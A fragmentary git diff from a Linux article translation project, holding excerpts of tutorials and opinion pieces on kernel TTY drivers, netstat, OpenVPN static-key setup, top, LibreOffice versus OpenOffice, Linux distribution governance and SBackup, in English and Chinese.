+ +下一步，可以启用/禁用"Virtual terminals"(虚拟终端)。再说一次，这个可以节约很多空间，但是虚拟终端很重要。 + +下一个驱动支持字体映射和Unicode转换(Enable character translations in console)。这用于转换ASCII到Unicode。 + +虚拟终端可以用这个驱动作为系统控制台(Support for console on virtual terminal)。系统控制台管理着登陆和内核信息/警告。 + +虚拟终端必须通过控制台驱动与物理终端交互(Support for binding and unbinding console drivers)。在虚拟终端可以这么做之前，控制台驱动必须被加载。当虚拟终端关闭后，控制台终端必须被卸载。 + +下一个驱动提供了对Unix98 PTY驱动的支持(Unix98 PTY support)。这是Unix98伪终端。 + +有趣的事实：Linux内核允许某个文件系统一次在很多地方被多次挂载。 + +接下来，可以支持"Support multiple instances of devpts"(译注：允许多个"devpts"文件系统实例）。devpts文件系统用于伪终端的slave。 + +过时的PTY同样可以启用(Legacy (BSD) PTY support)。 +

+下一步，这个驱动提供了标准PCI串行设备支持(8250/16550 PCI device support)。 + +16位PCMCIA串行设备由这个驱动支持(8250/16550 PCMCIA device support)。记住，PCMCIA是一种通常使用于笔记本的PC卡。 + +可以设置最大数量支持的串口(Maximum number of 8250/16550 serial ports)，接着是在启动中注册的最大数量(Number of 8250/16550 serial ports to register at runtime)。 + +为了扩展像HUB6的串行能力，启用这个驱动(Extended 8250/16550 serial driver options)。 + +一个特殊驱动用于支持多于4种的过时串口(Support more than 4 legacy serial ports)。 + +当启用这个驱动后，可以共享串口中断(Support for sharing serial interrupts)。 + +使用这个驱动可以自动检测串口中断请求(Autodetect IRQ on standard ports)。 + +RSA串口同样也在Linux内核中支持(Support RSA serial ports)。RSA代表的是"Remote Supervisor Adapter"(远程管理适配器)。RSA是一种IBM特定的硬件。 + +下面，有不同的供应商/设备特定驱动。 + +下面有一个使用printk输出用户信息的TTY驱动(TTY driver to output user messages via printk)。printk(print kernel)是一种通常打印启动信息的特殊软件。任何由printk显示的字符串通常在/var/log/messages文件里。shell命令"dmesg"显示所有被printk使用的字符串。 + +下面，我们可以启用/禁用并口打印机的支持(Parallel printer support)。 + +接下来的驱动允许打印机作为一个控制台(Parallel printer support)。这意味着内核消息会被逐字地由打印机打印。通常地在这个系列中使用"print"(打印)这个单词时，意味这将输出信息到屏幕上。而这次，字面上的意思是将数据输出在纸上。 + +以下的驱动使设备文件在/dev/parport/中(Support for user-space parallel port device drivers)。这使得一些进程可以访问。 + +再说一次，Linux内核有许多特性和驱动，所以我们还会在下一篇文章中继续讨论更多的驱动。谢谢！ + +致粉丝：我们正在接近配置过程的终点。我有一张你们很多人想知道的内核话题列表。这些话题包含了安装内核、管理模块、加入第三方驱动、还有许多其他有趣的建议和要求。 +

It lists out all the tcp, udp socket connections and the unix socket connections. Apart from connected sockets it can also list listening sockets that are waiting for incoming connections. So by verifying an open port 80 you can confirm if a web server is running on the system or not. This makes it a very useful tool for network and system administrators. So in this tutorial we shall be checking out few examples of how to use netstat to find information about network connections and open ports on a system. + +Here is a quick intro to netstat from the man pages + +> netstat - Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships + +### 1. List out all connections ### + +The first and most simple command is to list out all the current connections.

Disable reverse dns lookup for faster output ### + +By default, the netstat command tries to find out the hostname of each ip address in the connection by doing a reverse dns lookup. This slows down the output. If you do not need to know the host name and just the ip address is sufficient then suppress the hostname lookup with the n option. + + $ netstat -ant + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN + tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN + tcp 0 0 192.168.1.2:49058 173.255.230.5:80 ESTABLISHED + tcp 0 0 192.168.1.2:33324 173.194.36.117:443 ESTABLISHED + tcp6 0 0 ::1:631 :::* LISTEN + +The above command shows ALL TCP connections with NO dns resolution. Got it ? Good. + +### 4. List out only listening connections ### + +Any network daemon/service keeps an open port to listen for incoming connections.

To view only listening ports use the l options. + + $ netstat -tnl + Active Internet connections (only servers) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN + tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN + tcp6 0 0 ::1:631 :::* LISTEN + +Now we can see only listening tcp ports/connections. If you want to see all listening ports, remove the t option. If you want to see only listening udp ports use the u option instead of t. +Make sure to remove the 'a' option, otherwise all connections would get listed and not just the listening connections. + +### 5. Get process name/pid and user id ### + +When viewing the open/listening ports and connections, its often useful to know the process name/pid which has opened that port or connection. For example the Apache httpd server opens port 80. So if you want to check whether any http server is running or not, or which http server is running, apache or nginx, then track down the process name. + +The process details are made available by the 'p' option. + + ~$ sudo netstat -nlpt + Active Internet connections (only servers) + Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name + tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN 1144/dnsmasq + tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 661/cupsd + tcp6 0 0 ::1:631 :::* LISTEN 661/cupsd + +When using the p option, netstat must be run with root privileges, otherwise it cannot detect the pids of processes running with root privileges and most services like http and ftp often run with root privileges. + +Along with process name/pid its even more useful to get the username/uid owning that particular process.

For the last few years, almost all Linux distributions have included LibreOffice as their default office suite. However, in the past eighteen months, OpenOffice has reappeared, newly organized into an Apache project, and free software users now have the choice of two full-featured suites instead of one. + +Users also have the difficulty of deciding between two almost-identical choices. The two diverged three years ago, and while that can be a long period in software development, in this case, the differences are only starting to become obvious. While considerable cleanup has gone on behind the scenes, the feature sets and underlying logic in both has mutated in only minor ways from the days of OpenOffice.org. + +Here and there, you can find new features in the individual applications, especially in the Writer word processor. However, most of the differences are at a higher level, in support for formats and fonts, the policy towards extensions, and, most of all, in the efforts to modernize and standardize the interface. + +### Differences in the Apps ### + +Most of the features in LibreOffice's and OpenOffice's applications are the same. In Draw, there appear to be no difference at all. In Impress, the main difference is that LibreOffice's latest release includes support for controlling a slide show from an Android device. And although the selection of slide backgrounds differs between the two, either selection should be adequate unless you are looking for a favorite. Similarly, the greatest difference between the two versions of the Calc spreadsheet is that, in LibreOffice's, you can create data forms. + +Even in Writer, the most popular application, the differences are generally in a minor key. In LibreOffice, the status bar at the bottom of the editing window now includes a word and character count. In addition, LibreOffice's comments can be anchored to paragraphs rather than a single point, and, in a correction of a longstanding bug, in footnotes now display besides the text to which they refer. LibreOffice also adds a simplified Find field, similar to one in a web browser, while omitting the option to insert a graphical horizontal line -- a feature that few must have used for the last decade or more. + +### Formats and Fonts ### + +Some of the more noticeable differences fall under the category of format and font support. For instance, OpenOffice continues to support saving to formats that have gone out of fashion, such as AportisDoc (Palm) and Pocket Word. It can open .docx files, but, unlike LibreOffice, not save to it. + +LibreOffice also has the advantage in font support. The latest version supports OpenType, the preferred format for modern fonts because of its support for multiple languages and advanced typography. Even more importantly, by going to File -> Properties -> Fonts, you can embed fonts into the document, eliminating with a single click the need to ensure font compatibility. + +Such features give LibreOffice a decided edge when exchanging files with Microsoft Office users. In general, neither OpenOffice nor LibreOffice interact best with Microsoft formats when a document is mostly text and contains a minimum of tables, draw objects, and complex formatting. In both, for example, you are best off sharing something like a brochure in .PDF format rather than the native Open Document Format. + +However, if you do exchange native and Microsoft formats, LibreOffice has some decided advantages. Not only does it both read and write to recent Microsoft formats, but its advantages in font handling removes any need for font subsitution -- a major cause of problems when exchanging files. While other problems remain, such as differences in feature implementation, LibreOffice should generally be the more reliable handler of Microsoft Office files. + +### Extension Policies ### + +Both OpenOffice and LibreOffice support well-rounded collections of extensions that can be downloaded and added in minutes to enhance or alter features. In most cases, an extension that works with one will work with the other. + +The difference is that, with LibreOffice, you don't have to install the most popular extensions. Instead, LibreOffice installs with them already enabled or integrated. These extensions include Lightproof, a basic grammar checker; Report Builder for summarizing and printing from data bases; Presentation Minimizer for reducing the size of presentations; Wiki Publisher for blogging, and Presentation Console for delivering slide shows, as well as a number of others. + +All these extensions are available for OpenOffice as well. The difference is that, with OpenOffice, you need to know about them and deliberately find them. Effectively, this limitation makes a number of features unavailable to new users. When OpenOffice (and LibreOffice) have made such efforts in recent releases to provide useful modern templates and clip art, this omission is a crippling oversight, especially when it is so easily corrected. + +### Interfaces in Transition ### + +In the twelve years that Sun Microsystems and Oracle have owned the OpenOffice.org code, the interface, like so many features, was almost entirely neglected. The result is that today, both OpenOffice and LibreOffice are suites with a healthy set of features, but interfaces that are generally stuck in the mid-1990s. Some superficial aspects have been removed, but far more remains to be updated. + +In the latest release, OpenOffice's efforts to overhaul the interface have been restricted largely to the sidebar, an feature that has to be specifically enabled in LibreOffice from Tools -> Options -> LibreOffice -> Advance, and is labeled as "experimental." + +The sidebar is a collection of features, primarily for manual formatting. Since this use comes at the expense of encouraging the use of styles, as the logic of the code intends, it is easy to dismiss. However, at its best, the sidebar is an immense simplification of some of the tabs for formatting characters and paragraphs, such as the Border tab in all applications, and the Format tab for spreadsheet cells. With luck, its re-conceptualization of controls will eventually find its way to the menus and style dialogue windows. + +LibreOffice has been even more adventuresome. For example, the task pane in Impress, while similar to the sidebar, summarizes most of the steps in slide design in the names of its tabs. + +But it is the Writer editing window where most of LibreOffice's interface improvements have taken place. A word and character count has been added to the status bar at the bottom of the window, and the cramped sub-menus for managing and editing templates have been replaced with a stream-lined interface in which buttons replace drop-down menus. + +Even more obvious, the main text frame has been reduced in LibreOffice to cross-hairs at the four corners. In the same way, headers and footers are invisible until you click where they should be, when four small right angles indicate their borders. + +A less successful effort is a tab in LibreOffice's editing window for managing headers and footers. Aside from the fact that the tab encourages manual formatting, it has the annoying habit of hiding part of the first line of a new page as it is typed. + +These efforts are far from complete, although LibreOffice has also rearranged options in a number of dialogue windows. At times, they make LibreOffice a disconcerting mixture of vintage interfaces and modern minimalism that can be disconcerting to move between. However, at least LibreOffice is trying to address the long-delayed problem of the interfaces -- something OpenOffice has not had much time to consider. + +### Making a Choice ### + +An average user, whose documents are rarely longer than two or three pages, would often have to check the title bar to be sure whether they were using LibreOffice or OpenOffice. However, depending on their needs, advanced users will probably find LibreOffice currently has a small, but definite advantage. + +This advantage is hardly to be unexpected. For one thing, LibreOffice had many months to advance while OpenOffice was concerned with setting up governance and doing a code audit. These tasks might be useful and necessary, but they do not make for improvements in the code that ordinary users are likely to notice. + +For another, the LibreOffice fork was begun largely by members of [Go-oo][3], an unofficial fork of OpenOffice.org that wanted to accelerate change. While Apache OpenOffice was forming, LibreOffice attracted talent around the world who wanted to code and were excited by the idea that everything was suddenly up for reconsideration. + +Nobody has any done a census, but my impression is that when the OpenOffice.org community divided, the more adventurous contributors chose to focus on LibreOffice, although a few, such as the semi-independent documentation team, deliberately work for both projects. + +However, the most important advantage for LibreOffice is what might be called the license-drain. That is, while the Apache License is compatible with LibreOffice's Lesser GNU General Public License, the Less GNU General Public License is incompatible with the Apache License. In other words, while LibreOffice can borrow code freely from OpenOffice, OpenOffice cannot borrow at all from LibreOffice. Strictly speaking, it must do clean-room implementations of features it wants to borrow from LibreOffice. + +This situation may change, especially since Apache OpenOffice enjoys enormous name recognition compared to LibreOffice. Yet LibreOffice has quickly earned widespread support and has an active community that has done more in three years than OpenOffice.org managed in twelve. + +For now, whether you use Apache OpenOffice or LibreOffice is likely to make very little difference unless you need a particular feature. However, I suspect that, unless something unexpected happens, LibreOffice's slight advantage is only going to widen. Whichever you decide on, you may want to schedule a re-evaluation in a few years' time. + +-------------------------------------------------------------------------------- + +via: http://www.datamation.com/applications/apache-openoffice-vs.-libreoffice-1.html + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.openoffice.org/ +[2]:http://www.libreoffice.org/ +[3]:https://en.wikipedia.org/wiki/Go-oo \ No newline at end of file diff --git a/sources/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md b/sources/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md new file mode 100644 index 0000000000..b821154a69 --- /dev/null +++ b/sources/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md @@ -0,0 +1,41 @@ +Daily Ubuntu Tips – Change Samba Workgroup And Computer Name +================================================================================ +Here’s another question new users to Ubuntu asked the most.

This has created unparalleled connectivity, progress and innovation, Hypponen said. But it’s also enabled large-scale access to that data as demonstrated by the NSA’s PRISM program, made public this year in a series of top-secret document leaks by former U.S. government contractor Edward Snowden. - -“In the last few years we've realized data is cheap. We never have to delete anything anymore, ever,” said Hypponen, chief research officer at F-Secure in Finland. “This has enabled lots of great things but also global wholesale blanket surveillance.” - -Such access to our personal data, including cell phone records, geolocation, email and search engine queries, may be warranted in some cases, Hypponen said. - -“I do believe some surveillance is OK,” he said. “If there's an investigation into finding a school shooter or drug lord or member of a terrorist cell… we should have the technical means of doing that. But we must first have the suspicion.” - -But collecting the communications and personal data of “everyone” is not only a violation of privacy, but a threat to democracy, Hypponen said. - -“Even if you don't have a problem with our government today, we don't know what the government will be 20 years from now,” he said. ”If they have 20 years of your search data, they'll find something illegal or embarrassing to twist your hand.” - -Though the leaks have caused some IT professionals to question the safety of their data stored with and routed through U.S. service providers, avoiding these companies and services won’t solve the problem, Hypponen said. Neither can each country afford the time and expense of building its own alternatives. - -Working across international boundaries, developers should band together to build secure and reliable software and services that prevent back-door tampering and ensure users’ privacy, Hypponen said. - -“I suggest that open source provides a solution to this problem,” he said. “Then countries don't have to work alone.

OpenVPN is the top choice for protecting networking over untrusted networks. Today we'll learn a quick way to set up OpenVPN so you can securely access your home server when you're on the road. - -A quick note on VPNs: there are many commercial VPNs that aren't worth the bits they're printed on. They're little better than SSL-protected Web sites, because they trust all clients. A true VPN (virtual private network) connects two trusted endpoints over untrusted networks. You can't just log in from whatever random PC you find, and this is good because (presumably) you understand that logging in to your private network from an infected host is a bad thing to do, no matter how secure the connection is. So you have to configure both your server and client. - -### OpenVPN Quickstart ### - -You need two computers on different subnets, like a wired and wireless PC on the same network (or a couple of Linux guests in Virtualbox), and you need to know the IP addresses of both PCs. Let's call our example computers Studio and Shop. Install OpenVPN on both of them. OpenVPN is included in most Linux distributions, so you can install it with your favorite package manager. This example is for Debian, Ubuntu, and their myriad descendants: - - $ sudo apt-get install openvpn openvpn-blacklist - -That installs the server and a little program to check the blacklist of compromised keys. You must install the blacklist checker! Because once upon a time Debian distributed a [broken version of OpenSSL][1] which had a broken random number generator, so keys created with this are assumed to be too vulnerable to trust. The random number generator was not really random, but predictable. This happened way back in 2008, and everyone who used the defective OpenSSL was supposed to hunt down and replace their weak keys. Even though it's been over five years, it's cheap insurance to use the blacklist checker. - -Now let's test it by creating an unencrypted tunnel between our two PCs. First ping each machine to make sure they're talking to each other.

It's not as strong as a proper public key infrastructure (PKI) with root certificates and revocations and all that good stuff, but it's a good-enough solution for the lone nerd needing to call home from the road. OpenVPN helpfully includes a command to create the static key, so create a directory to store the key in, create the key, and make it read-only for the file owner: - - $ sudo mkdir /etc/openvpn/keys/ - $ sudo openvpn --genkey --secret /etc/openvpn/keys/static.key - $ sudo chmod 0400 /etc/openvpn/keys/static.key - -This is a plain-text key that you can open in a text editor and look at if you're curious, and you can name it anything you want; you don't have to call it "static.key".

(On Debuntu etc. there are no default configuration files, but rather a wealth of example files in/usr/share/doc/openvpn/.) In my little test tab Studio is the server, and Shop is the wandering laptop that will log into the server. My server configuration file is/etc/openvpn/studio.conf, and this is all it has: - - # config for Studio - dev tun - ifconfig 10.0.0.1 10.0.0.2 - secret /etc/openvpn/keys/static.key - -Make this file readable and writable only to the file owner: - - $ sudo chmod 0600 /etc/openvpn/studio.conf - -The configuration file on the client is similar, with the addition of the IP address of the server: - - # config for Shop - dev tun - ifconfig 10.0.0.2 10.0.0.1 - secret /etc/openvpn/keys/static.key - remote 192.168.1.125 - -Mind the order of your IP addresses on the ifconfig line, because they need to be in the order of local > remote. Now fire up OpenVPN on the server, specifying the server configuration file, and do the same on your client: - - $ sudo openvpn /etc/openvpn/studio.conf - $ sudo openvpn /etc/openvpn/shop.conf - -You'll see the same "Initialization Sequence Completed" message for a successful connection, and you must also look for the absence of this message, which should have appeared when you created your un-encrypted tunnel: - - ******* WARNING *******: all encryption and authentication features disabled - -Firewalls and Dynamic IP Addresses - -OpenVPN itself is simple to configure. The biggest hassles are dealing with firewalls and dynamic IP addresses. There are a skillion different firewalls in the world, so I shall leave it as your homework to figure out how to get through it safely. OpenVPN wants port 1194, and then you'll want to have a forwarding rule that points to the computer you want to access. - -Dynamic IP addresses are another hassle. [Dyn.com][3] is an inexpensive way to manage dynamic IP assignment from your ISP. Or you might be able to pay your ISP a few bucks to get a static address. - -At this point you could stop and call it good, because you can manually start OpenVPN on your server and leave it waiting for you, take your laptop out into the world, and connect to your server whenever you want. However, there are some refinements we can add such as daemonizing OpenVPN on the server, using Network Manager to make the connection automatically, and the biggest missing piece in OpenVPN howtos: how to access your remote resources.

+一直以来，我们在互联网上传输信息时，都谨慎地为这些信息加密，以防内容泄露出去，特别是在政府的干预下，为网络上每个字节都进行加密已经变得空前重要了。在这种情况下，OpenVPN 是保障网络信息安全的首选。今天我们就来学习一下如何架设 OpenVPN，使你可以在任何场所都能安全地访问家里的服务器。 + +VPN 小贴士：很多商业的 VPN 根本不值它们的售价，它们的安全性只比通过 SSL 保护的网站高一点点，原因是它们的安全意识还不够强，认为世上所有人都是值得信任的。而一个真正意义上的 VPN 认为在充满危险的互联网上只存在两个值得信任的终端 —— 即真正要建立连接的那两个。用户不能随便找一台 PC 机就能登录进 VPN，因为你的 VPN 如果能被随随便便的一台 PC 登录进来，不管它们建立的连接有多么安全，这都称不上是一件好事情。所以你必须在你的客户端和服务器端都要好好地配置一下 VPN 服务。 + +### OpenVPN 快速入门 ### + +你需要两台不同子网下的计算机，比如一台连着光缆的 PC 和一台连着 Wifi 的 PC（或者是 VitualBox 虚拟机上的多台客户机），并且你要知道它们的 IP 地址。这里分别为这两台计算机命名为“Studio”和“Shop”，都给它们安上 OpenVPN。OpenVPN 支持大多数 Linux 发行版，所以你只要用你手头的安装包管理软件就行。本文的包管理器是 Debian、Ubuntu 以及它们的衍生版中使用的 apt-get，下面安装 OpenVPN： + + $ sudo apt-get install openvpn openvpn-blacklist + +上面的步骤安装了 OpenVPN 服务器和一个用于检查外泄密钥的黑名单的程序。请务必安装这个黑名单检查器，因为有一次 Debian 发布了一个[有漏洞的 OpenSSL 软件][1]，这个软件里的随机码生成器会产生不可信任的密钥 —— 产生的这些密钥不是真正的随机数，它们可以被预测到。这件事发生在2008年，当时所有使用了这个软件的人都需要修改他们这个不是秘密的密钥。即使5年过去了，我们还是建议使用这个黑名单检查器 —— 这是份廉价的保险。 + +现在让我们试着为两台 PC 机创建一个不加密的通道。首先互 ping 一下确保它们能连通，然后让 OpenVPN 处于关闭状态（别着急，我们会在后面手动启动它）： + + $ ps ax|grep openvpn + +如果 openvpn 这个后台进程存在，那就 kill 了它。这里假设“Studio”这台 PC 的 IP 是192.168.1.125，“Shop”的 IP 是192.168.2.125。现在在“Studio”端开启一个未加密的连接到“Shop”端： + + $ sudo openvpn --remote 192.168.2.125 --dev tun0 --ifconfig 10.0.0.1 10.0.0.2 + +然后开一个从“Shop”到“Studio”的连接： + + $ sudo openvpn --remote 192.168.1.125 --dev tun0 --ifconfig 10.0.0.2 10.0.0.1 + +连接成功的话你会看到类似下面的信息： + + Wed Oct 16 2013 ******* WARNING *******: all encryption and authentication + features disabled -- all data will be tunnelled as

地址。关闭隧道请按 Ctrl+c。 + +现在你可以利用这个隧道打开一个 SSH 会话了。图1显示了通过 VPN 隧道登录 SSH 的例子，这个图也显示了有趣的 Message of the Day（MOTD）图片，图片来自于博客《[在你的 Linux 系统上放一张奶牛的 MOTD 图片][2]》： + + $ ssh carla@10.0.0.2 +

+目前为止，我们玩得还不赖，但是没有使用加密技术，一切都毫无意义，所以我们需要建立一个简单的静态密钥配置文件。不像公钥基础设施（PKI），有着根认证中心、可撤消认证等安全措施，我们的加密机制没有那么强悍，但是对于仅仅想远程到家里的用户来说，已经足够了。OpenVPN 有提供创建静态密钥的命令，我们可以建立目录、建立密钥文件，并将文件设为只读模式： + + $ sudo mkdir /etc/openvpn/keys/ + $ sudo openvpn --genkey --secret /etc/openvpn/keys/static.key + $ sudo chmod 0400 /etc/openvpn/keys/static.key + +这是个明文密钥，你可以利用文本编辑器打开密钥文件读取到它，文件名可以随意，不一定非得叫“static.key”。将这个密钥拷到需要通信的两台电脑上，呵呵，这是对称加密，而不是公钥加密。 + +现在我们要在两台电脑上完成基本的配置。（在非类 Ubuntu 的系统中，OpenVPN 没有提供默认的配置文件，但是在 /usr/share/doc/openvpn/ 目录下会为你提供一个配置文件的样本。）在我的实验中，“Studio”是服务器端，“Shop”是一台笔记本电脑，用于登录到“Studio”中。我的服务器端的配置文件是 /etc/openvpn/studio.conf，它的配置信息如下： + + # config for Studio + dev tun + ifconfig 10.0.0.1 10.0.0.2 + secret /etc/openvpn/keys/static.key + +将配置文件设为只有拥有者有读写权限： + + $ sudo chmod 0600 /etc/openvpn/studio.conf + +客户端的配置文件内容类似，只是多了服务器端的 IP 地址： + + # config for Shop + dev tun + ifconfig 10.0.0.2 10.0.0.1 + secret /etc/openvpn/keys/static.key + remote 192.168.1.125 + +注意 ifconfig 那行的 IP 地址的顺序，本地的 IP 要放在远程的 IP 之前。现在启动服务器端的 OpenVPN，指定服务器端配置文件，客户端操作雷同： + + $ sudo openvpn /etc/openvpn/studio.conf + $ sudo openvpn /etc/openvpn/shop.conf + +成功建立连接后，你还会看到“Initialization Sequence Completed”这句话，但你不会再看到这句 WARNING（这句话会在你建立了未加密的隧道时出现）： + + ******* WARNING *******: all encryption and authentication features disabled + +### 防火墙和动态 IP 地址 ### + +OpenVPN 本身是比较容易配置的，最麻烦的是处理防火墙和动态 IP 地址。防火墙种类众多，对于如何配置防火墙不拦截你的隧道，我把这个话题当作家庭作业留给你自己解决:P。OpenVPN 的端口是1194，你可以在防火墙上设置一个转发规则，用于将消息转发到你的目标服务器。 + +接下来处理另一件麻烦事：动态 IP 地址。[Dyn.com][3]可以提供一个廉价的方法，为你管理 ISP 分配给你的动态 IP，或者你也可以向你的 ISP 支付一笔费用，从而得到一个静态 IP。 + +至此，你可以宣告工作完成了，接下来的任务就是手动开启服务器端的 OpenVPN，让它一直运行在那里，等待你的登录。你可以将你的笔记本拿到外面，并随时随地随心所欲地连接到服务器。然而，关于 OpenVPN 的操作，我还有一些重要的知识点要讲，比如如何为 OpenVPN 设置开机启动，如何利用 Network Manager 自动建立连接，以及这篇 OpenVPN 教程中最重要的一块：如何访问你的远程服务器上的资源。我们下周见。 + +-------------------------------------------------------------------------------- +

"top". Top is not perfect, not by a long shot, but it does provide a decent point in time snapshot of the server, and attempts to answer the question of "what is going on right now?". Unfortunatly, the output of top can easily be misinterpreted if you do not have a good understanding of the different fields of data presented. + +I'm not going to go through the [man page][2] for top, when you have the time and inclination it is always there waiting for you. What I would like to do is point out a few highlights of how I use it to get a quick overview of the system and hopefully get a direction I should go next. Top is often my first stop in troubleshooting, but it is rarely my only stop. + +[![](http://farm4.staticflickr.com/3827/10847969205_c1b75f9fa2_m.jpg)][1] + +The very first thing I look at in top is the load average, in the top right hand corner of the screen. The load average is computed based on a number of statistics gathered, but can generally be thought of as the amount of work the CPU is being asked to do. If your machine has a single CPU core, than a load average of one would mean that the machine was perfectly loaded and had sufficient power to accomplish all tasks during the time it was sampled. Likewise, if the load average is two, the single CPU machine was overloaded, and would have needed two available cores to accomplish the work it was being asked to do in the same amount of time. With todays 8, 16, and 32 core servers shipping, I need to think twice when considering the load average. If I need to check, I press "1" in top, which will drop down a list of all CPU cores so I can get a quick count for comparison. + +The second item I check is the first process listed, and the ninth column over, labled "%CPU". The explanation for this column is novel: + +> The task's share of the elapsed CPU time since the last screen update, expressed as a percentage of total CPU time. In a true SMP environment, if 'Irix mode' is Off, top will operate in 'Solaris mode' where a task's cpu usage will be divided by the total number of CPUs. You toggle 'Irix/Solaris' modes with the 'I' interactive command. + +Clear as mud, right? The main idea to keep in mind is that if a single process has gone berzerk for one reason or antoher, it will probably show up listed first in top, with a rather extreme number for %CPU. + +The next area I glance at is the "Cpu(s):" line, in the center of the header block. Specifically, I'm interested in the %us, which is user processes, %sy, for system processes, %id, which is idle time, and %wa, which is the percent of time the CPU had processes that were waiting on a response from an I/O stream to execute. This percentage should always be close to zero, and anything higher than 5% should be looked at closer. + +Lastly, I like to check the system up time, shown in the top left hand corner. If I'm having problems with a server, and the server was recently rebooted, there may be a correlation there, perhaps a daemon that didn't start. + +All of these checks take only a few seconds. I may leave top running for a few minutes and watch the processes, CPU, and load if I'm just observing, but normally I'm in and out of top fairly quickly. Top is one of those fantastic sysadmin tools that is built to give you a quick overview of the health of your system, and allow you to quickly diagnose potential problems. + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/deciphering-top + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.flickr.com/photos/51724787@N06/10847969205/ +[2]:http://www.linuxmanpages.com/man1/top.1.php \ No newline at end of file diff --git a/sources/Five Examples Of The ping Utility.md b/sources/Five Examples Of The ping Utility.md new file mode 100644 index 0000000000..d1f3d939f1 --- /dev/null +++ b/sources/Five Examples Of The ping Utility.md @@ -0,0 +1,67 @@ +Five Examples Of The ping Utility +================================================================================ +### What is ping Utility? ### + +Before going through some real world examples of the ping utility, let me explain what this commandline tool is and its purpose. The ping utility is used to test the reachability of a host on an Internet Protocol (IP) network. Its names comes from the active sonar method which is used to create a pulse of sound (ping) under the water and listening to echo requests from surrounding objects. This method is the best way to explain how the network ping utility works.

Which do you prefer?* + +It's no secret that a rather large portion of Linux development is funded by companies with a financial interest in seeing Linux be improved. (And, by "Linux," I mean "All the various pieces and parts that make up a complete Linux-based system.") But there is a pretty major difference between how various companies go about that. + +Let's take a look at two high-profile examples: Ubuntu and openSUSE. + +Both are distributions of Linux. Both are large, long-standing and highly successful projects with a large community of both volunteers and paid workers. Yet the difference between the two is fairly extreme, and highly important. + +For Ubuntu, the primary direction is set by the team at Canonical and its head-master, Mark Shuttleworth. Examples such as Unity (Ubuntu's in-house user interface) and Mir (Ubuntu's in-house display server) quickly jump to mind when talking about how Canonical really “steers the ship” of Ubuntu. Goals, projects and priorities put into place by the parent company are, in many cases, simply non-negotiable (so to speak). Ubuntu's Unity user interface, for example, was a must-have for Canonical as it was part of their broader strategy. Some community members love it. Some hate it. But, either way, it's happening. + +But is that bad? I'm not really convinced that it is either good or bad. It's simply how it is with that particular project and company. + +Contrast that with openSUSE, who also has a "corporate master" in the form of, well, SUSE. The key difference there being that SUSE has a commercial offering in the form of "SUSE Linux Enterprise." And, while there is a great deal of technical overlap between openSUSE (the community Linux distro) and SUSE Linux Enterprise (the commercial offering)...the two are not, technically, the same. + +Which means that SUSE, as a company, can afford to take a more “hands-off” approach to working with openSUSE. Sure, they have a vested interest in seeing key bits of technology (such as, say, Btrfs) be improved, tested and packaged with the community distro – as they may wish to include it in the commercial offering – but the separation between the community and commercial systems provides them with a bit more flexibility, in this regard, than Canonical presently has. + +This is similar to the way Red Hat works with the Fedora project, and seems to be a generally successful approach as a mechanism for a company that sells enterprise-level Linux systems to utilize a community Linux distro as a foundation. + +I'll be honest. I see benefits and drawbacks to both models. Both have their challenges in terms of organization and management (and public perception). And, in all reality, there is more in common than not with the two approaches. + +I'd love to hear your thoughts on this. Do you prefer to have a singular captain at the helm of your community-based Linux distro (sort of a "benevolent dictator")? Or do like the big decisions of your Linux distro to be a bit more community-driven? Should companies behind a given flavor of Linux rule with an iron fist, or be more hands-off?

You can create and edit the profiles as per your requirement, but you can’t delete the default profile. -- It has options such as logging, email notification and status icon presenting progress and notifications. -- It supports scheduled backups and manual backups. -- It can backup files either to local destinations (e.g. hard disk) or remote destinations (e.g. NAS over FTP). - -### Install SBackup On Ubuntu, Linux Mint and Debian ### - -SBackup is available in the default repositories of Ubuntu, Debian and Linux Mint. So just install it using command: - - sudo apt-get install sbackup - -### Launch SBackup ### - -Open up SBackup either from Dash or Menu. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Menu_0011.jpg) - -It will look like as shown below. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_002.jpg) - -### SBackup Profiles ### - -Initially SBackup won’t have any user profiles. Only “default profile” will be available. Be mindful that you can’t delete the default profile. To create a new profile, go to Tools -> Profile Manager. You will have a following like window. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_003.jpg) - -Click Add to create a new profile, let me name the profile as “sk”. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_004.jpg) - -Now a new profile has been created. If you want to use your custom profile, just select the profile and click Edit. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Configuration-Profile-Manager_005.jpg) - -Now you may see that SBackup profile has been switched to “sk” profile. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_006.jpg) - -However you can use default profile and edit it as per your requirements if you wish. - -**Important Note**: If you launch it from a normal user you can’t schedule the backup. To schedule your backup you must run SBackup as root user. As see you in the above screenshots, the schedule tab is greyed out, because i launched it from a normal user. - -In this how-to tutorial, i am going to use **default profile** with root user privileges. - -Open up your Terminal and run the following command to open SBackup with root user privileges. - - sudo sbackup-config-gtk - -The above command will open SBackup with default profile with administrative mode. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_001.jpg) - -### General ### - -In General section you can define how often do you want to do a full backup. The default option is 